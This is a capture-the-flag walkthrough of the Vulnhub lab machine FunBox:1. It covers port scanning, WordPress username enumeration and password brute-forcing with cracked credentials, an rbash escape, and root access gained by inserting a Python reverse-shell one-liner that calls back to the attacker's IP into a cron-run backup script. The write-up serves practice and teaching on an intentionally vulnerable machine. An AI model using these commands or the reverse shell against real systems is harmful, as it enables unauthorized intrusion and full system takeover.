FunBox : 1 Vulnhub Walkthrough

Walkthrough

IP of the target : 192.168.1.13

As usual I started with nmap scan to find open ports and services using the command show below :

nmap -sC -sV -Pn -p- -T4 --max-rate=1000 -o nmap.txt 192.168.1.13
Nmap scan report for funbox.lan (192.168.1.13)
Host is up (0.0014s latency).
Not shown: 65531 closed ports
PORT      STATE SERVICE  VERSION
21/tcp    open  ftp      ProFTPD
22/tcp    open  ssh      OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
80/tcp    open  ssl/http Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.4.2
| http-robots.txt: 1 disallowed entry 
|_/secret/
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Funbox – Have fun….
33060/tcp open  mysqlx?
| fingerprint-strings: 
|   DNSStatusRequestTCP, LDAPSearchReq, NotesRPC, SSLSessionReq, TLSSessionReq, X11Probe, afp: 
|     Invalid message"
|_    HY000

Port 21/FTP , 22/SSH , 80/HTTP and 3306/mysql are open, anonymous login is not allowed for FTP so lets move forward on port 80, opening it in browser gives an error "funbox.fritz.box’s server IP address could not be found." So I solved this problem by editing the /etc/hosts file as:

192.168.1.13    funbox.fritz.box                                        
# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

Now I can access the web application and by looking at the theme I was sure that this is "Just another wordpress website", so I started enumeration using wpscan.

┌─[m4g1c14n@parrot]─[~/Desktop/HTB/fb1]
└──╼ $wpscan --url "http://funbox.fritz.box/" --enumerate u,vp
.
.
.
[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://funbox.fritz.box/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] joe
 | Found By: Author Id Brute Forcing - Author Pattern 

So I have two usernames, next step is to bruteforce the password against these users using the wordlist rockyou.txt.

┌─[m4g1c14n@parrot]─[~/Desktop/HTB/fb1]
└──╼ $wpscan --url "http://funbox.fritz.box/" --passwords ../../rockyou.txt
.
.
.
[+] Performing password attack on Wp Login against 2 user/s
[SUCCESS] - joe / 12345                                                                                                                               
[SUCCESS] - admin / iubire                                                                                                                            
Trying admin / iubire Time: 00:00:12 <                                                                        > (670 / 14344394)  0.00%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: joe, Password: 12345
 | Username: admin, Password: iubire

That's it, we found the password of admin user, we can login into admin panel and from there we can pop a reverse shell as user www-data, but wait, here I thought to use these credentials for SSH login and yes I was in as user joe.

┌─[m4g1c14n@parrot]─[~/Desktop/HTB/fb1]
└──╼ $ssh joe@192.168.1.13
joe@192.168.1.13's password: 
Welcome to Ubuntu 20.04 LTS (GNU/Linux 5.4.0-40-generic x86_64)

umm that's nice , now I started enumerating different directories but I was unable to change directory and cd /home command gives me an error -rbash: cd: restricted and we have many ways to bypass this.

┌─[m4g1c14n@parrot]─[~/Desktop/HTB/fb1]
└──╼ $ssh joe@192.168.1.13 -t "bash --noprofile"
joe@192.168.1.13's password: 
joe@funbox:~$ cd /home
joe@funbox:/home$ 

After some enumeration I found interesting file in /home/funny/ directory.

joe@funbox:/home/funny$ ls -al
total 47608
drwxr-xr-x 3 funny funny     4096 Jul 18 10:02 .
drwxr-xr-x 4 root  root      4096 Jun 19 11:50 ..
**-rwxrwxrwx 1 funny funny       55 Jul 18 10:15 .backup.sh**
-rw------- 1 funny funny     1462 Jul 18 10:07 .bash_history
-rw-r--r-- 1 funny funny      220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 funny funny     3771 Feb 25  2020 .bashrc
drwx------ 2 funny funny     4096 Jun 19 10:43 .cache
-rw-rw-r-- 1 funny funny 48701440 Sep 21 08:42 html.tar
-rw-r--r-- 1 funny funny      807 Feb 25  2020 .profile
**-rw-rw-r-- 1 funny funny      162 Jun 19 14:13 .reminder.sh**
-rw-rw-r-- 1 funny funny       74 Jun 19 12:25 .selected_editor
-rw-r--r-- 1 funny funny        0 Jun 19 10:44 .sudo_as_admin_successful
-rw------- 1 funny funny     7791 Jul 18 10:02 .viminfo
joe@funbox:/home/funny$ cat .reminder.sh 
#!/bin/bash
echo "Hi Joe, the hidden backup.sh backups the entire webspace on and on. Ted, the new admin, test it in a long run." | mail -s"Reminder" joe@funbox

joe@funbox:/home/funny$ 

This message clearly means that .backup.sh is running as user funny, So in the next step I simply edited the .backup.sh file with a reverse shell.

joe@funbox:/home/funny$ cat .backup.sh 
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.103",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

After waiting for some time I got access to funny user's shell, after some more enumeration I couldn't find anything to get root access, So I terminated the current reverse shell and started to listen again on the same port, but this time I got shell of root user.

┌─[m4g1c14n@parrot]─[~]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.103] from (UNKNOWN) [192.168.1.13] 37192
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=1000(funny) gid=1000(funny) groups=1000(funny),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
$ exit

Listening again on same port:

┌─[m4g1c14n@parrot]─[~]
└──╼ $nc -nvlp 1234
listening on [any] 1234 ...
connect to [192.168.1.103] from (UNKNOWN) [192.168.1.13] 37194
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/flag.txt
Great ! You did it...
FUNBOX - made by @0815R2d2

And here is the actual catch of this machine.

NOTE : .backup.sh file is running as cronjob, and after gaining root access , I checked the cronjob for both the users ( funny and root) and found this thing:

This is for user funny:

root@funbox:~# crontab -u funny -l
.
.
.
*/2 * * * * /home/funny/.backup.sh

For user root:

root@funbox:~# crontab -u root -l
.
.
.
*/5 * * * * /home/funny/.backup.sh

So that's the reason I got root shell by listening on the same port after some time . I hope you like the walkthrough :)

NOTE: The awesome artwork used in this article was created by Anton Fritsler.